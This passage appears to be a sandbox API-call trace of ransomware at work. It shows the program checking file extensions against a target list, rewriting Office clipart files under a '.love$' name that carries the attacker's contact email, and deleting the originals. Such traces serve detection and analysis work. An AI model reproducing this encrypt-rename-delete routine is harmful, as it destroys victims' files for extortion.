(lpString1=".docx", lpString2="_.WMF") returned -1 [0227.329] lstrlenW (lpString=".pdf") returned 4 [0227.329] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.329] lstrlenW (lpString=".xls") returned 4 [0227.329] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.329] lstrlenW (lpString=".xlsx") returned 5 [0227.329] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0227.329] lstrlenW (lpString=".ppt") returned 4 [0227.329] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0227.329] lstrlenW (lpString=".zip") returned 4 [0227.329] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.329] lstrlenW (lpString=".rar") returned 4 [0227.329] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.329] lstrlenW (lpString=".bz2") returned 4 [0227.329] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.329] lstrlenW (lpString=".7z") returned 3 [0227.329] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0227.329] lstrlenW (lpString=".dbf") returned 4 [0227.329] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0227.329] lstrlenW (lpString=".1cd") returned 4 [0227.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0227.329] lstrlenW (lpString=".jpg") returned 4 [0227.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.330] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0227.330] lstrlenW (lpString="AN03500_.WMF") returned 12 [0227.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0227.331] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=9240) returned 1 [0227.331] CloseHandle (hObject=0x42c) returned 1 [0227.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 0x220 [0227.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0227.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0227.332] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.332] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0227.333] GetLastError () returned 0x0 [0227.333] ReadFile (in: hFile=0x42c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x2418, lpOverlapped=0x0) returned 1 [0227.341] WriteFile (in: hFile=0x388, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x2420, lpOverlapped=0x0) returned 1 [0227.343] ReadFile (in: hFile=0x42c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0227.343] WriteFile (in: hFile=0x388, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0227.343] SetEndOfFile (hFile=0x388) returned 1 [0227.343] CloseHandle (hObject=0x388) returned 1 [0227.350] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.350] SetEndOfFile (hFile=0x42c) returned 1 [0227.354] CloseHandle (hObject=0x42c) returned 1 [0227.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0227.355] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0227.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0227.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0227.355] lstrlenW (lpString=".doc") returned 4 [0227.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.355] lstrlenW (lpString=".docx") returned 5 [0227.356] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0227.356] lstrlenW (lpString=".pdf") returned 4 [0227.356] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.356] lstrlenW (lpString=".xls") returned 4 [0227.356] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.356] lstrlenW (lpString=".xlsx") returned 5 [0227.356] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0227.356] lstrlenW (lpString=".ppt") returned 4 [0227.356] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0227.356] lstrlenW (lpString=".zip") returned 4 [0227.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.356] lstrlenW (lpString=".rar") returned 4 [0227.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.356] lstrlenW (lpString=".bz2") returned 4 [0227.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.356] lstrlenW (lpString=".7z") returned 3 [0227.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0227.356] lstrlenW (lpString=".dbf") returned 4 [0227.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0227.356] lstrlenW (lpString=".1cd") returned 4 [0227.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0227.356] lstrlenW (lpString=".jpg") returned 4 [0227.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0227.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0227.357] lstrlenW (lpString=".doc") returned 4 [0227.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.357] lstrlenW (lpString=".docx") returned 5 [0227.357] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0227.357] lstrlenW (lpString=".pdf") returned 4 [0227.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.357] lstrlenW (lpString=".xls") returned 4 [0227.357] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.357] lstrlenW (lpString=".xlsx") returned 5 [0227.357] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0227.357] lstrlenW (lpString=".ppt") returned 4 [0227.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0227.357] lstrlenW (lpString=".zip") returned 4 [0227.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.357] lstrlenW (lpString=".rar") returned 4 [0227.357] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.357] lstrlenW (lpString=".bz2") returned 4 [0227.357] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.357] lstrlenW (lpString=".7z") returned 3 [0227.357] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0227.357] lstrlenW (lpString=".dbf") returned 4 [0227.357] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0227.358] lstrlenW (lpString=".1cd") returned 4 [0227.358] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0227.358] lstrlenW (lpString=".jpg") returned 4 [0227.358] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.767] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0227.767] lstrlenW (lpString="AN04174_.WMF") returned 12 [0227.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0227.769] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2636) returned 1 [0227.769] CloseHandle (hObject=0x404) returned 1 [0227.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 0x220 [0227.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0227.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0227.770] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.770] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0227.774] GetLastError () returned 0x0 [0227.774] ReadFile (in: hFile=0x404, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0xa4c, lpOverlapped=0x0) returned 1 [0227.776] WriteFile (in: hFile=0x450, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xa50, lpOverlapped=0x0) returned 1 [0227.777] ReadFile (in: hFile=0x404, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0227.777] WriteFile (in: hFile=0x450, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0227.777] SetEndOfFile (hFile=0x450) returned 1 [0227.777] CloseHandle (hObject=0x450) returned 1 [0227.780] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.780] SetEndOfFile (hFile=0x404) returned 1 [0227.783] CloseHandle (hObject=0x404) returned 1 [0227.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0227.784] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0227.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0227.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0227.785] lstrlenW (lpString=".doc") returned 4 [0227.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.785] lstrlenW (lpString=".docx") returned 5 [0227.785] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0227.785] lstrlenW (lpString=".pdf") returned 4 [0227.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.785] lstrlenW (lpString=".xls") returned 4 [0227.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.785] lstrlenW (lpString=".xlsx") returned 5 [0227.785] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0227.785] lstrlenW (lpString=".ppt") returned 4 [0227.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0227.785] lstrlenW (lpString=".zip") returned 4 [0227.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.785] lstrlenW (lpString=".rar") returned 4 [0227.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.785] lstrlenW (lpString=".bz2") returned 4 [0227.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.785] lstrlenW (lpString=".7z") returned 3 [0227.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0227.786] lstrlenW (lpString=".dbf") returned 4 [0227.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0227.786] lstrlenW (lpString=".1cd") returned 4 [0227.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0227.786] lstrlenW (lpString=".jpg") returned 4 [0227.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0227.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0227.786] lstrlenW (lpString=".doc") returned 4 [0227.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.786] lstrlenW (lpString=".docx") returned 5 [0227.786] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0227.786] lstrlenW (lpString=".pdf") returned 4 [0227.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.786] lstrlenW (lpString=".xls") returned 4 [0227.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.786] lstrlenW (lpString=".xlsx") returned 5 [0227.786] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0227.786] lstrlenW (lpString=".ppt") returned 4 [0227.786] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0227.786] lstrlenW (lpString=".zip") returned 4 [0227.786] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.786] lstrlenW (lpString=".rar") returned 4 [0227.786] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.786] lstrlenW (lpString=".bz2") returned 4 [0227.786] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.786] lstrlenW (lpString=".7z") returned 3 [0227.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0227.786] lstrlenW (lpString=".dbf") returned 4 [0227.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0227.787] lstrlenW (lpString=".1cd") returned 4 [0227.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0227.787] lstrlenW (lpString=".jpg") returned 4 [0227.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.787] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0227.787] lstrlenW (lpString="AN04191_.WMF") returned 12 [0227.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0227.787] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=6636) returned 1 [0227.788] CloseHandle (hObject=0x404) returned 1 [0227.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 0x220 [0227.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0227.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0227.788] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.788] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0227.789] GetLastError () returned 0x0 [0227.789] ReadFile (in: hFile=0x404, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x19ec, lpOverlapped=0x0) returned 1 [0227.791] WriteFile (in: hFile=0x450, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x19f0, lpOverlapped=0x0) returned 1 [0227.792] ReadFile (in: hFile=0x404, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0227.792] WriteFile (in: hFile=0x450, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0227.792] SetEndOfFile (hFile=0x450) returned 1 [0227.794] CloseHandle (hObject=0x450) returned 1 [0227.799] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.799] SetEndOfFile (hFile=0x404) returned 1 [0227.804] CloseHandle (hObject=0x404) returned 1 [0227.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0227.806] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0227.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0227.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0227.807] lstrlenW (lpString=".doc") returned 4 [0227.807] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.807] lstrlenW (lpString=".docx") returned 5 [0227.807] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0227.807] lstrlenW (lpString=".pdf") returned 4 [0227.807] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.807] lstrlenW (lpString=".xls") returned 4 [0227.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.807] lstrlenW (lpString=".xlsx") returned 5 [0227.807] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0227.807] lstrlenW (lpString=".ppt") returned 4 [0227.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0227.807] lstrlenW (lpString=".zip") returned 4 [0227.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.807] lstrlenW (lpString=".rar") returned 4 [0227.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.807] lstrlenW (lpString=".bz2") returned 4 [0227.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.807] lstrlenW (lpString=".7z") returned 3 [0227.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0227.807] lstrlenW (lpString=".dbf") returned 4 [0227.808] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0227.808] lstrlenW (lpString=".1cd") returned 4 [0227.808] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0227.808] lstrlenW (lpString=".jpg") returned 4 [0227.808] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0227.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0227.808] lstrlenW (lpString=".doc") returned 4 [0227.808] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.808] lstrlenW (lpString=".docx") returned 5 [0227.808] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0227.808] lstrlenW (lpString=".pdf") returned 4 [0227.808] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.808] lstrlenW (lpString=".xls") returned 4 [0227.808] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.808] lstrlenW (lpString=".xlsx") returned 5 [0227.808] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0227.808] lstrlenW (lpString=".ppt") returned 4 [0227.808] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.808] lstrlenW (lpString="C:\\Program Files\\Microsoft 